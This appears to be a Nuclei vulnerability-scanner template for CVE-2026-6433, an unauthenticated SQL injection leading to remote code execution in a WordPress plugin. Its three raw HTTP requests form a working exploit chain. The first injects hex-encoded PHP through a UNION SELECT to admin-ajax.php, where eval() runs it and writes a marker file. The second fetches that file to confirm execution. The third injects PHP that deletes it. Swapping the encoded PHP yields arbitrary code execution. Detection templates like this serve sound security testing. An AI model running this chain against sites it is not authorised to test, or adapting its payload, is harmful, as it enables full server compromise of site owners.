CVE-2026-6433: FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution

id: CVE-2026-6433

info:
  name: FlipperCode Custom CSS, JS & PHP <= 2.0.7 - Remote Code Execution
  author: theamanrawat
  severity: critical
  description: |
    Custom css-js-php WordPress plugin through 2.0.7 contains a command injection caused by unsanitized user input used in SQL query and passed to eval(), letting unauthenticated attackers execute arbitrary PHP code on the server.
  impact: |
    Unauthenticated attackers can execute arbitrary PHP code on the server, leading to full server compromise.
  remediation: |
    Update to the latest version.
  reference:
    - https://wpscan.com/vulnerability/a0b1c059-e156-4402-ac8d-67f8ad7386cc/
    - https://github.com/murrez/CVE-2026-6433
    - https://patchstack.com/database/wordpress/plugin/custom-css-js-php/vulnerability/wordpress-custom-css-js-php-plugin-2-0-7-unauthenticated-sql-injection-to-rce-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6433
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-6433
    epss-score: 0.01195
    epss-percentile: 0.66477
  metadata:
    verified: true
    max-request: 3
    vendor: flippercode
    product: custom-css-js-php
    framework: wordpress
    shodan-query: http.component:"WordPress"
  tags: cve,cve2026,wordpress,wp-plugin,sqli,rce,custom-css-js-php,unauth,intrusive,vkev

variables:
  filename: "{{rand_text_alpha(8)}}"
  marker: "{{rand_text_alpha(12)}}"

flow: |
  http(1) && http(2) && http(3);

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702066696c655f7075745f636f6e74656e74732827{{hex_encode(filename)}}2e747874272c27{{hex_encode(marker)}}27293b203f3e,'header','',0,1--+

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200 || status_code == 500"
        internal: true

  - raw:
      - |
        GET /wp-admin/{{filename}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "{{marker}}"

      - type: status
        status:
          - 200

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=fc_ajax_call&operation=wce_editor_inline_code&id=0+UNION+SELECT+1,'t','php',0x3c3f7068702040756e6c696e6b2827{{hex_encode(filename)}}2e74787427293b203f3e,'header','',0,1--+

    matchers:
      - type: dsl
        dsl:
          - "true"
        internal: true
# digest: 4a0a0047304502203db23cc3b9ad187df1331fd03e8b593aba76707b36155c8d78d3014cc74cd1200221008e1a467374b400401384afb6907a0d0ec4bc3659ba56b80f68be451505c17088:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.